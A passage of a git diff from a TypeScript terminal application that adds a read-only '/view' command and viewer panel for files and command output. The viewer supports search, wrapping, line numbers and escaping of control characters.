this.viewerLook()); + if (action?.kind === 'close') { this.viewer = undefined; this.returnFromPanel(); } + else if (action?.kind === 'copy') { + void this.copyText(action.text, 'Copied the document').then(note => { if (note && this.viewer === viewer) { viewer.note = note; this.render(); } }); + } + this.render(); + return; + } if (this.comparePanel) { const {columns, rows} = this.dimensions(); const action = comparePanelKey(this.comparePanel, key, columns, rows - 4); @@ -2873,6 +2886,7 @@ export class TerminalApp { else this.configureClipboardChanges(slash.suggestions); } else if (slash.kind === 'pins') { this.panelOrigin = undefined; this.openPins(); } + else if (slash.kind === 'view') this.openViewer(slash.target, command.trim()); else if (slash.kind === 'compare') { if (slash.error) this.output.addFrontendInteraction(command.trim(), slash.error, ERROR); else { @@ -3230,6 +3244,7 @@ export class TerminalApp { try { await writeClipboard(record.command); this.noteClipboard(`Copied command · ${copyStats(record.command).characters.toLocaleString()} characters`, 'success'); } catch (error) { this.noteClipboard(clipboardFailure(error), 'error'); } } else if (action === 'fold') this.output.toggleExpanded(index); + else if (action === 'view') this.openOutputViewer(record); else if (action === 'pager') await this.openBlockInPager(record); else if (action === 'explain') { this.explainBlock = record.startId; this.openAsk('why did this fail'); } else if (action === 'edit' || action === 'rerun') { @@ -3553,6 +3568,48 @@ export class TerminalApp { finally { rmSync(directory, {recursive: true, force: true}); this.render(); } } + private viewerLook(): ViewerLook { + return {syntax: this.syntaxSgr, hyperlinks: this.host.capabilities.hyperlinks}; + } + + /** + * /view: a completed output by its /copy number (the latest when no target is given), or a file relative to the + * shell's directory. The file is read asynchronously and read-only; a failure is reported in the transcript. + */ + private openViewer(target: string, command: string): void { + this.viewerLoad?.abort(); + this.viewerLoad = undefined; + if (!target || /^[1-9]\d{0,2}$/u.test(target)) { + const number = target ? Number(target) : 1; + const record = this.output.recentShellCommands()[number - 1]; + if (!record) { + this.output.addFrontendInteraction(command, target ? `No completed command output at ${number}.` : 'No completed output yet. /view opens a file.', target ? ERROR : INFO); + return; + } + this.openOutputViewer(record); + return; + } + const load = new AbortController(); + this.viewerLoad = load; + void loadFileDocument(target, this.shellCwd, {signal: load.signal}).then(result => { + if (this.viewerLoad !== load || this.stopped) return; + this.viewerLoad = undefined; + if (!result.ok) { this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } + this.panelOrigin = undefined; + this.viewer = createViewer(result.document); + this.render(); + }); + } + + /** View output: the record's stored output, numbered as /copy numbers it. */ + private openOutputViewer(record: CompletedCommand): void { + const number = this.output.recentShellCommands().indexOf(record) + 1; + this.panelOrigin = undefined; + // The text /copy copies (tabs as the program wrote them), without the optional completion status. + this.viewer = createViewer(outputDocument({command: record.command, output: recordCopyText(record, false), exitCode: record.exitCode}, Math.max(1, number))); + this.render(); + } + /** Compare output…: straight to the difference when the other side is known, otherwise choose it (previous run first). */ private openCompare(base: CompletedCommand, partner?: CompletedCommand): void { this.panelOrigin = undefined; @@ -4905,7 +4962,7 @@ export class TerminalApp { private get settingsPanelActive(): boolean { return this.hasModalInput(); } private hasModalInput(ignorePalette = false): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.viewer || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.launcher || this.modsPanel || this.worktreePanel || this.githubPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.queuePanel || this.queueHistoryPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } @@ -4947,6 +5004,7 @@ export class TerminalApp { if (this.summaryReview) return renderReportReview(this.summaryReview.document, columns, this.dimensions().rows - 4); if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); + if (this.viewer) return renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); if (this.background.panel) return framePanel(this.background.panelRows(Math.max(1, columns - 4), this.dimensions().rows - 4, {now: Date.now(), color: colorLevel() !== 'none', safe: getCurrentGlyphMode() === 'safe'}), columns); if (this.rowPanel) return renderRowPanel(this.rowPanel, this.promptConfiguration, columns, this.dimensions().rows, this.rowPanelPreview(columns)); @@ -5875,6 +5933,10 @@ export class TerminalApp { private reportReview?: ReportReviewState; /** Compare output…: choosing the other block, then the difference. */ private comparePanel?: ComparePanelState; + /** The native read-only viewer (/view, View output); owns keys while open. */ + private viewer?: ViewerState; + /** A file /view is still reading; a newer request or Esc cancels it. */ + private viewerLoad?: AbortController; private clipboardNote?: {text: string; tone: 'success' | 'info' | 'error'; until: number}; private clipboardNoteTimer?: ReturnType; /** The block whose Copy control just succeeded (by startId), shown as "Copied" until `until`. */ diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index 9eda8b8a..0428b879 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -253,6 +253,9 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'compare', label: 'Compare output', support: 'actionable', open: '/compare', covers: ['/compare'], aliases: ['compare output', 'compare outputs', 'diff output', 'compare runs', 'what changed between runs', 'compare with previous run'], description: '/compare shows what changed between two command outputs (by default the latest and the previous run of the same command; /compare N M picks them by /copy number). Also Actions → Compare output…. Added, removed and changed lines; c copies the diff, r a comparison report.'}, + {id: 'view', label: 'View a file or output', support: 'actionable', open: '/view', covers: ['/view'], + aliases: ['view file', 'view a file', 'read a file', 'open a file read only', 'view output', 'read markdown', 'preview markdown', 'view log', 'pager'], + description: '/view opens a read-only native viewer: /view README.md for a file (Markdown renders; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text. less, bat and Glow still work as usual.'}, {id: 'paste-batch', label: 'Paste and queue a batch', support: 'actionable', open: '/ps', covers: ['/ps', '/clips'], aliases: ['paste commands', 'paste batch', 'paste from clipboard', 'queue pasted commands', 'review pasted commands', 'ps command', 'run as block'], description: '/ps reads the clipboard once and shows Paste Review. B reviews a safe batch with choices to run as one block, queue separately, edit or cancel; quotes, loops and heredocs stay whole. C deliberately keeps a clip in memory; /clips reviews it before insertion. Clips disappear when this frontend exits. Nothing executes automatically.'}, @@ -364,7 +367,7 @@ export const GUIDE_SECTIONS: readonly GuideSection[] = [ {id: 'chroma', title: 'Chroma', why: 'Optional gradients and motion for NMSh-owned chrome only; your command output is never recolored.', concepts: ['chroma', 'effects', 'activity']}, {id: 'shells', title: 'Shells', why: 'One NMSh window can run zsh, Fish or Bash, and you can leave for a plain shell and come back.', concepts: ['shell', 'leave', 'otherShells']}, {id: 'completion', title: 'Completion & suggestions', why: 'Tab completion lists real candidates; ghost suggestions predict the rest of the line.', concepts: ['completion', 'suggestions']}, - {id: 'history', title: 'History & transcripts', why: 'Find what you ran and what it printed, now or in earlier sessions.', concepts: ['history', 'picker', 'transcript', 'find', 'copy', 'output-actions', 'compare', 'transcripts', 'pins']}, + {id: 'history', title: 'History & transcripts', why: 'Find what you ran and what it printed, now or in earlier sessions.', concepts: ['history', 'picker', 'transcript', 'find', 'copy', 'output-actions', 'view', 'compare', 'transcripts', 'pins']}, {id: 'sessions', title: 'Sessions', why: 'Sessions keep running when a window closes; reattach, switch or get notified.', concepts: ['sessions', 'queue', 'agentSessions', 'presets', 'notices', 'commandNotifications', 'panes', 'keepAwake']}, {id: 'ask', title: 'Ask', why: 'Plain-English help that knows NMSh, your commands and this repository, and never runs anything you did not confirm.', concepts: ['ask']}, {id: 'intelligence', title: 'Local intelligence', why: 'An optional local model helps Ask map vague requests to known actions. It runs on this machine, never writes commands, and Ask works fully without it.', concepts: ['understanding'], diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index 331dc1bf..b719d050 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -41,6 +41,7 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/copy', insertion: '/copy', description: 'Select completed output: Up/Down, Enter copies, Esc returns (saved Quick Copy preferences still apply)'}, {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output; -N the latest N, A-B or 1,3,5 several; --status adds completion status'}, {name: '/copy settings', insertion: '/copy settings', description: 'Output navigation, Quick Copy or Interactive Picker; completion status and auto-expand preferences'}, + {name: '/view', insertion: '/view ', description: 'Read a file or a completed output in a native viewer: /view README.md · /view 2 (output 2, numbered as /copy) · /view (latest output)'}, {name: '/compare', insertion: '/compare', description: 'Compare two outputs: /compare (latest with its previous run), /compare N, /compare N M (numbers as /copy)'}, {name: '/pins', insertion: '/pins', description: 'Commands and recipes you kept: stage a pin, or review and queue a recipe (nothing runs by itself)'}, {name: '/ps', insertion: '/ps', description: 'Paste from the clipboard, reviewed first: read when you run it, never in the background'}, @@ -168,6 +169,8 @@ export type ParsedSlashCommand = | {kind: 'pins'} /** /compare [A [B]]: outputs by /copy number; A defaults to the latest, B to A's previous run (or a choice). */ | {kind: 'compare'; first?: number; second?: number; error?: string} + /** /view [path | N]: a file (relative to the shell's directory, ~ for home), output N as /copy numbers it, or the latest output. */ + | {kind: 'view'; target: string} | {kind: 'appearance'} | {kind: 'motion'} | {kind: 'prompt'} @@ -263,6 +266,8 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined const clips = /^\/clips(?:\s+suggestions\s+(on|off))?\s*$/u.exec(input); if (clips) return {kind: 'clips', ...(clips[1] ? {suggestions: clips[1] === 'on'} : {})}; if (/^\/pins\s*$/u.test(input)) return {kind: 'pins'}; + const view = /^\/view(?:\s+([\s\S]*))?$/u.exec(input); + if (view) return {kind: 'view', target: (view[1] ?? '').trim()}; // /cp is /copy: one parser, one handler, every form. if (/^\/(?:copy|cp)\s+settings\s*$/u.test(input)) return {kind: 'copySettings'}; const copy = /^\/(?:copy|cp)(?:\s+(.*))?$/su.exec(input); diff --git a/src/markdown/highlight.ts b/src/markdown/highlight.ts index a7cfd176..434a3963 100644 --- a/src/markdown/highlight.ts +++ b/src/markdown/highlight.ts @@ -230,12 +230,12 @@ function tokenizeLine(line: string, grammar: Grammar, id: string, state: LineSta } /** Tokens for each line of a code block; a line's tokens always concatenate back to exactly that line. */ -export function highlightCode(lines: readonly string[], language: string | undefined): CodeToken[][] { +export function highlightCode(lines: readonly string[], language: string | undefined, maxLines = MAX_LINES): CodeToken[][] { const id = languageId(language); if (!id) return lines.map(line => [{text: line, kind: 'plain'}]); const state: LineState = {}; return lines.map((line, number) => { - if (number >= MAX_LINES || line.length > MAX_LINE_LENGTH) return [{text: line, kind: 'plain'}]; + if (number >= maxLines || line.length > MAX_LINE_LENGTH) return [{text: line, kind: 'plain'}]; if (id === 'diff') return diffLine(line); if (id === 'markdown') return markdownLine(line, state); return tokenizeLine(line, GRAMMARS[id]!, id, state); diff --git a/src/markdown/render.ts b/src/markdown/render.ts index 4f3bcdcb..272a91e9 100644 --- a/src/markdown/render.ts +++ b/src/markdown/render.ts @@ -209,6 +209,13 @@ function tokenSgr(kind: CodeTokenKind, context: Context): string { } } +/** The style a code token gets in rendered Markdown, for other NMSh surfaces that show code the same way (the viewer). */ +export function codeTokenStyle(kind: CodeTokenKind, options: {syntax?: SyntaxSgr; level?: ColorLevel} = {}): string { + const level = options.level ?? colorLevel(); + return tokenSgr(kind, {level, safe: false, hyperlinks: false, ...(options.syntax ? {syntax: options.syntax} : {}), + fg: color => colorEscape(38, color, level), tone: UI_COLORS.primary, codeIndex: 0}); +} + function codeRows(block: Extract, width: number, context: Context): MarkdownRow[] { const index = context.codeIndex++; const gutter = `${context.fg(UI_COLORS.separator)}${glyph(context, '│', '|')}${RESET} `; diff --git a/src/ui/BlockActions.ts b/src/ui/BlockActions.ts index ab7ec107..8ec19081 100644 --- a/src/ui/BlockActions.ts +++ b/src/ui/BlockActions.ts @@ -5,7 +5,7 @@ import {displayWidth} from '../util/text.js'; import {recordCopyText} from '../clipboard/copySelection.js'; import {findOutputReferences} from '../output/references.js'; -export type BlockActionId = 'copyCommand' | 'copyOutput' | 'copyBoth' | 'copyReport' | 'compare' | 'pager' | 'rerun' | 'edit' | 'fold' | 'explain' | 'references' | 'pin' | 'clipCommand' | 'clipOutput'; +export type BlockActionId = 'copyCommand' | 'copyOutput' | 'copyBoth' | 'copyReport' | 'compare' | 'view' | 'pager' | 'rerun' | 'edit' | 'fold' | 'explain' | 'references' | 'pin' | 'clipCommand' | 'clipOutput'; /** One registry for both pointer-opened and keyboard-opened block palettes. */ export const BLOCK_ACTIONS: readonly {id: BlockActionId; label: string; detail: string}[] = [ {id: 'copyCommand', label: 'Copy command', detail: 'Stored plain command'}, @@ -13,6 +13,7 @@ export const BLOCK_ACTIONS: readonly {id: BlockActionId; label: string; detail: {id: 'copyBoth', label: 'Copy command + output', detail: 'Stored plain command and full output'}, {id: 'copyReport', label: 'Copy as report…', detail: 'Command, status, exit code, duration and output as Markdown or plain text; reviewed first'}, {id: 'compare', label: 'Compare output…', detail: 'With the previous run of this command, or another block you choose'}, + {id: 'view', label: 'View output', detail: "Full stored output in NMSh's viewer: find, line numbers, wrap; read-only"}, {id: 'pager', label: 'Open in pager', detail: 'Command and full stored output in your pager (less), read-only'}, {id: 'rerun', label: 'Rerun command', detail: 'Explicitly submit a visible command in the current shell directory'}, {id: 'edit', label: 'Edit & rerun', detail: 'Put command in composer; Enter executes it'}, diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts new file mode 100644 index 00000000..652cd1ea --- /dev/null +++ b/src/viewer/ViewerPanel.ts @@ -0,0 +1,502 @@ +import type {Key} from '../terminal/keys.js'; +import type {SyntaxSgr} from '../input/syntaxTheme.js'; +import {graphemes} from '../input/inputLayout.js'; +import {codeTokenStyle, renderMarkdown, type MarkdownRow} from '../markdown/render.js'; +import {highlightCode, type CodeToken} from '../markdown/highlight.js'; +import {colorLevel} from '../presentation/capabilities.js'; +import {renderControlRows} from '../ui/controls.js'; +import {editText} from '../ui/formControls.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; +import {formatBytes, type ViewDocument} from './document.js'; + +/** + * The native read-only viewer (#397): one document in a full-height panel, never the transcript. Drawing is bounded + * to what is visible: only the lines on screen are laid out, one wrapped line takes at most MAX_WRAP_ROWS rows, syntax + * roles cover the first HIGHLIGHT_LINES lines and Markdown renders up to RENDER_MARKDOWN_BYTES. Every character is + * drawn inert: control and format characters (bidi overrides, zero-width marks) are shown as visible marks and tabs + * as spaces, and Markdown links are links only for the renderer's allowed targets. + */ + +const HIGHLIGHT_LINES = 20_000; +const RENDER_MARKDOWN_BYTES = 1024 * 1024; +const MAX_WRAP_ROWS = 200; +const TAB = 4; +const HORIZONTAL_STEP = 8; +const WHEEL_ROWS = 3; +const RESET = '\u001b[0m'; +const REVERSE = '\u001b[7m'; +const BOLD = '\u001b[1m'; + +interface Segment {text: string; style: string} +/** One logical line of what is shown: a source line (segments), or a rendered Markdown row (prestyled). */ +interface Unit {text: string; segments?: Segment[]; prestyled?: string; number?: number; rest?: number} + +export interface ViewerState { + document: ViewDocument; + /** First visible unit, and the wrapped row inside it. */ + top: number; + sub: number; + /** Horizontal offset in cells while not wrapping. */ + left: number; + wrap: boolean; + numbers: boolean; + /** Markdown drawn rendered (true) or as source. */ + rendered: boolean; + input?: {kind: 'search' | 'goto'; value: string}; + query?: string; + match?: {unit: number; start: number; length: number}; + matchCount?: number; + /** One line of feedback (copy result, no match, wrapped search). */ + note?: string; + /** Units the last drawing showed, for the position line. */ + shown?: {first: number; last: number}; + tokens?: CodeToken[][]; + markdown?: {width: number; rows: MarkdownRow[]}; +} + +export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number}; + +export interface ViewerLook {syntax?: SyntaxSgr; hyperlinks?: boolean} + +export function createViewer(document: ViewDocument): ViewerState { + const markdown = document.format === 'markdown' && Buffer.byteLength(document.text) <= RENDER_MARKDOWN_BYTES; + const note = document.format === 'markdown' && !markdown ? 'Too large to render: showing the Markdown source.' : undefined; + return {document, top: 0, sub: 0, left: 0, wrap: true, numbers: !markdown, rendered: markdown, ...(note ? {note} : {})}; +} + +// ---- Text --------------------------------------------------------------------------------------------------------- + +/** Characters drawn as visible marks: controls (not tab) and invisible format, line and paragraph separators. */ +const UNSAFE = /[\u0000-\u0008\u000a-\u001f\u007f-\u009f\p{Cf}\p{Zl}\p{Zp}]/gu; +const PRINTABLE_ASCII = /^[\t\x20-\x7e]*$/u; +const markOf = (character: string) => character === '\u001b' ? '␛' : '·'; +const cellWidth = (character: string) => character.length === 1 && character >= ' ' && character <= '~' ? 1 : displayWidth(character); + +/** + * A piece of a line as the viewer draws it, from `column`: tabs expanded to the next stop and every unsafe character + * a visible mark. Printable ASCII takes a fast path; other text is measured by grapheme. + */ +function safePiece(text: string, column: number): {text: string; column: number} { + if (PRINTABLE_ASCII.test(text)) { + if (!text.includes('\t')) return {text, column: column + text.length}; + let out = ''; + for (const character of text) { + if (character === '\t') { const spaces = TAB - (column % TAB); out += ' '.repeat(spaces); column += spaces; } + else { out += character; column += 1; } + } + return {text: out, column}; + } + const safe = text.replace(UNSAFE, markOf); + if (!safe.includes('\t')) return {text: safe, column: column + displayWidth(safe)}; + let out = ''; + for (const character of graphemes(safe)) { + if (character === '\t') { const spaces = TAB - (column % TAB); out += ' '.repeat(spaces); column += spaces; } + else { out += character; column += cellWidth(character); } + } + return {text: out, column}; +} + +/** The whole line as drawn: what search matches against, so match offsets are drawing offsets. */ +function safeLine(line: string): string { + return safePiece(line, 0).text; +} + +/** + * Tokens → drawable segments, stopping once `budget` cells are produced: a line is never laid out further than it + * can be shown. `rest` counts the source characters left undrawn. + */ +function safeSegments(tokens: readonly CodeToken[], styleOf: (token: CodeToken) => string, budget: number): {segments: Segment[]; rest: number} { + const segments: Segment[] = []; + let column = 0; + let rest = 0; + for (const token of tokens) { + if (column >= budget) { rest += token.text.length; continue; } + // Enough source for the remaining cells (a cell is at most a few code units; a longer cluster just shows less). + const room = (budget - column) * 4 + 8; + const source = token.text.length > room ? token.text.slice(0, room) : token.text; + rest += token.text.length - source.length; + const piece = safePiece(source, column); + column = piece.column; + if (piece.text) segments.push({text: piece.text, style: styleOf(token)}); + } + return {segments, rest}; +} + +function smartMatch(text: string, query: string): (from: number) => number { + const insensitive = query === query.toLowerCase(); + const haystack = insensitive ? text.toLowerCase() : text; + return from => haystack.indexOf(query, from); +} + +// ---- Units -------------------------------------------------------------------------------------------------------- + +function contentWidth(state: ViewerState, columns: number): number { + return Math.max(4, columns - 4 - gutterWidth(state)); +} + +function gutterWidth(state: ViewerState): number { + return state.numbers && !state.rendered ? Math.max(3, String(state.document.lines.length).length) + 1 : 0; +} + +function markdownRows(state: ViewerState, width: number, look: ViewerLook): MarkdownRow[] { + if (state.markdown?.width !== width) { + state.markdown = {width, rows: renderMarkdown(state.document.text, width, {...(look.syntax ? {syntax: look.syntax} : {}), hyperlinks: Boolean(look.hyperlinks)})}; + } + return state.markdown.rows; +} + +function unitCount(state: ViewerState, width: number, look: ViewerLook): number { + return state.rendered ? markdownRows(state, width, look).length : state.document.lines.length; +} + +function lineTokens(state: ViewerState, index: number): CodeToken[] { + const line = state.document.lines[index] ?? ''; + if (!state.document.language) return [{text: line, kind: 'plain'}]; + state.tokens ??= highlightCode(state.document.lines.slice(0, HIGHLIGHT_LINES), state.document.language, HIGHLIGHT_LINES); + return state.tokens[index] ?? [{text: line, kind: 'plain'}]; +} + +/** The cells a unit may need to draw: a bounded wrap, or the visible window when scrolled sideways. */ +function cellBudget(state: ViewerState, width: number): number { + return state.wrap ? MAX_WRAP_ROWS * width : state.left + width + 1; +} + +function unitAt(state: ViewerState, index: number, width: number, look: ViewerLook): Unit { + if (state.rendered) { + const row = markdownRows(state, width, look)[index]; + return {text: row?.plain ?? '', prestyled: row?.ansi ?? ''}; + } + const level = colorLevel(); + const styleOf = (token: CodeToken) => level === 'none' ? '' : codeTokenStyle(token.kind, {...(look.syntax ? {syntax: look.syntax} : {}), level}); + const {segments, rest} = safeSegments(lineTokens(state, index), styleOf, cellBudget(state, width)); + return {text: segments.map(segment => segment.text).join(''), segments, number: index + 1, rest}; +} + +/** The searchable text of a unit (the same characters it is drawn with), without styling work. */ +function unitText(state: ViewerState, index: number, width: number, look: ViewerLook): string { + if (state.rendered) return markdownRows(state, width, look)[index]?.plain ?? ''; + return safeLine(state.document.lines[index] ?? ''); +} + +interface Cell {text: string; width: number; style: string} +type Highlight = {start: number; end: number; current: boolean}; + +function cellsOf(unit: Unit, highlights: readonly Highlight[]): Cell[] { + const cells: Cell[] = []; + let offset = 0; + let range = 0; + for (const segment of unit.segments ?? []) { + for (const character of PRINTABLE_ASCII.test(segment.text) ? segment.text : graphemes(segment.text)) { + while (range < highlights.length && highlights[range]!.end <= offset) range += 1; + const mark = range < highlights.length && offset >= highlights[range]!.start ? highlights[range] : undefined; + cells.push({text: character, width: cellWidth(character), style: mark ? `${segment.style}${REVERSE}${mark.current ? BOLD : ''}` : segment.style}); + offset += character.length; + } + } + return cells; +} + +function paint(cells: readonly Cell[]): string { + let out = ''; + let style: string | undefined; + for (const cell of cells) { + if (cell.style !== style) { out += `${RESET}${cell.style}`; style = cell.style; } + out += cell.text; + } + return `${out}${RESET}`; +} + +/** The rows a unit takes: wrapped (bounded), or one row scrolled by `left`. */ +function unitRows(state: ViewerState, unit: Unit, width: number, highlights: readonly Highlight[]): string[] { + if (unit.prestyled !== undefined) { + return [highlights.length ? `${REVERSE}${truncateAnsi(unit.text, width)}${RESET}` : unit.prestyled]; + } + const cells = cellsOf(unit, highlights); + const subtle = foreground(UI_COLORS.subtle); + const more = Boolean(unit.rest); + if (!state.wrap) { + let skipped = 0; + let index = 0; + while (index < cells.length && skipped + cells[index]!.width <= state.left) { skipped += cells[index]!.width; index += 1; } + const row: Cell[] = []; + let used = 0; + while (index < cells.length && used + cells[index]!.width <= width) { row.push(cells[index]!); used += cells[index]!.width; index += 1; } + if ((index < cells.length || more) && row.length) row[row.length - 1] = {text: '›', width: 1, style: subtle}; + if (state.left > 0 && row.length) row[0] = {text: '‹', width: 1, style: subtle}; + return [paint(row)]; + } + const rows: string[] = []; + let row: Cell[] = []; + let used = 0; + for (let index = 0; index < cells.length; index += 1) { + const cell = cells[index]!; + if (used + cell.width > width && row.length) { + rows.push(paint(row)); + row = []; + used = 0; + if (rows.length === MAX_WRAP_ROWS - 1) { + const rest = cells.length - index + (unit.rest ?? 0); + rows.push(`${subtle}${truncateText(`… ${rest.toLocaleString('en-US')} more characters on this line · w turns wrapping off`, width)}${RESET}`); + return rows; + } + } + row.push(cell); + used += cell.width; + } + rows.push(paint(row)); + return rows; +} + +function rowCount(state: ViewerState, index: number, width: number, look: ViewerLook): number { + if (!state.wrap || state.rendered) return 1; + const line = state.document.lines[index] ?? ''; + if (!line) return 1; + // Printable ASCII wraps by simple division; anything else is laid out, bounded (wide characters move whole to the next row). + if (PRINTABLE_ASCII.test(line)) return Math.min(MAX_WRAP_ROWS, Math.max(1, Math.ceil(safeLine(line).length / width))); + return unitRows(state, unitAt(state, index, width, look), width, []).length; +} + +// ---- Scrolling ---------------------------------------------------------------------------------------------------- + +/** The top position at which the last unit's last row is at the bottom: no scrolling past the end. */ +function lastTop(state: ViewerState, width: number, height: number, look: ViewerLook): {top: number; sub: number} { + let remaining = height; + for (let index = unitCount(state, width, look) - 1; index >= 0; index -= 1) { + const rows = rowCount(state, index, width, look); + if (rows >= remaining) return {top: index, sub: rows - remaining}; + remaining -= rows; + } + return {top: 0, sub: 0}; +} + +function clampTop(state: ViewerState, width: number, height: number, look: ViewerLook): void { + const last = lastTop(state, width, height, look); + if (state.top > last.top || (state.top === last.top && state.sub > last.sub)) { state.top = last.top; state.sub = last.sub; } + state.top = Math.max(0, state.top); + state.sub = Math.max(0, Math.min(state.sub, rowCount(state, state.top, width, look) - 1)); +} + +function scroll(state: ViewerState, delta: number, width: number, height: number, look: ViewerLook): void { + let remaining = delta; + while (remaining > 0) { + const rows = rowCount(state, state.top, width, look); + if (state.sub + remaining < rows) { state.sub += remaining; break; } + remaining -= rows - state.sub; + if (state.top + 1 >= unitCount(state, width, look)) { state.sub = rows - 1; break; } + state.top += 1; + state.sub = 0; + } + while (remaining < 0) { + if (state.sub + remaining >= 0) { state.sub += remaining; break; } + remaining += state.sub + 1; + if (state.top === 0) { state.sub = 0; break; } + state.top -= 1; + state.sub = rowCount(state, state.top, width, look) - 1; + } + clampTop(state, width, height, look); +} + +function reveal(state: ViewerState, unit: number, width: number, height: number, look: ViewerLook): void { + const visible = state.shown && unit >= state.shown.first && unit <= state.shown.last && unit !== state.shown.last; + if (!visible) { state.top = Math.max(0, unit - Math.floor(height / 3)); state.sub = 0; } + clampTop(state, width, height, look); +} + +// ---- Search ------------------------------------------------------------------------------------------------------- + +function findFrom(state: ViewerState, unit: number, offset: number, direction: 1 | -1, width: number, look: ViewerLook): {unit: number; start: number; wrapped: boolean} | undefined { + const query = state.query; + if (!query) return undefined; + const count = unitCount(state, width, look); + for (let step = 0; step <= count; step += 1) { + const raw = unit + direction * step; + const index = ((raw % count) + count) % count; + const text = unitText(state, index, width, look); + const find = smartMatch(text, query); + let found = -1; + if (direction === 1) found = find(step === 0 ? offset : 0); + else { + const limit = step === 0 ? offset - 1 : text.length; + for (let at = find(0); at >= 0 && at <= limit; at = find(at + 1)) found = at; + } + if (found >= 0) return {unit: index, start: found, wrapped: direction === 1 ? raw >= count : raw < 0}; + } + return undefined; +} + +function countMatches(state: ViewerState, width: number, look: ViewerLook): number { + const query = state.query; + if (!query) return 0; + let total = 0; + for (let index = 0; index < unitCount(state, width, look); index += 1) { + const find = smartMatch(unitText(state, index, width, look), query); + for (let at = find(0); at >= 0; at = find(at + query.length)) total += 1; + } + return total; +} + +function step(state: ViewerState, direction: 1 | -1, width: number, height: number, look: ViewerLook): void { + const from = state.match ? {unit: state.match.unit, offset: state.match.start + (direction === 1 ? 1 : 0)} : {unit: state.top, offset: 0}; + const found = findFrom(state, from.unit, from.offset, direction, width, look); + if (!found) { state.match = undefined; state.note = `No match for “${state.query}”.`; return; } + state.match = {unit: found.unit, start: found.start, length: state.query!.length}; + state.note = found.wrapped ? (direction === 1 ? 'Search wrapped to the top.' : 'Search wrapped to the bottom.') : undefined; + reveal(state, found.unit, width, height, look); +} + +// ---- Keys --------------------------------------------------------------------------------------------------------- + +export function viewerKey(state: ViewerState, key: Key, columns: number, height: number, look: ViewerLook = {}): ViewerAction | undefined { + const width = contentWidth(state, columns); + const body = bodyHeight(state, columns, height); + if (state.input) { + const input = state.input; + if (key.kind === 'escape' || key.kind === 'interrupt') { state.input = undefined; return undefined; } + if (key.kind === 'enter') { + state.input = undefined; + if (input.kind === 'goto') { + const line = Number(input.value.trim()); + if (!Number.isInteger(line) || line < 1) { state.note = 'Type a line number.'; return undefined; } + state.top = Math.min(line, unitCount(state, width, look)) - 1; + state.sub = 0; + clampTop(state, width, body, look); + state.note = undefined; + return undefined; + } + state.query = input.value; + state.match = undefined; + if (!state.query) { state.matchCount = undefined; return undefined; } + state.matchCount = countMatches(state, width, look); + step(state, 1, width, body, look); + return undefined; + } + const next = editText(input.value, key); + if (next !== undefined) input.value = next.slice(0, 200); + return undefined; + } + state.note = undefined; + const text = key.kind === 'text' ? key.value : undefined; + if (key.kind === 'escape' && state.query) { state.query = undefined; state.match = undefined; state.matchCount = undefined; return undefined; } + if (key.kind === 'escape' || key.kind === 'interrupt' || text === 'q') return {kind: 'close'}; + if (key.kind === 'up' || text === 'k') scroll(state, -1, width, body, look); + else if (key.kind === 'down' || text === 'j') scroll(state, 1, width, body, look); + else if (key.kind === 'wheelUp') scroll(state, -WHEEL_ROWS, width, body, look); + else if (key.kind === 'wheelDown') scroll(state, WHEEL_ROWS, width, body, look); + else if (key.kind === 'pageUp' || text === 'b') scroll(state, -Math.max(1, body - 1), width, body, look); + else if (key.kind === 'pageDown' || text === ' ' || text === 'f') scroll(state, Math.max(1, body - 1), width, body, look); + else if (key.kind === 'lineHome' || key.kind === 'bufferHome' || text === 'g') { state.top = 0; state.sub = 0; } + else if (key.kind === 'lineEnd' || key.kind === 'bufferEnd' || key.kind === 'latest' || text === 'G') Object.assign(state, lastTop(state, width, body, look)); + else if ((key.kind === 'left' || key.kind === 'right') && !state.wrap && !state.rendered) state.left = Math.max(0, state.left + (key.kind === 'left' ? -HORIZONTAL_STEP : HORIZONTAL_STEP)); + else if (text === 'w' && !state.rendered) { state.wrap = !state.wrap; state.left = 0; state.sub = 0; clampTop(state, width, body, look); } + else if (text === 'l' && 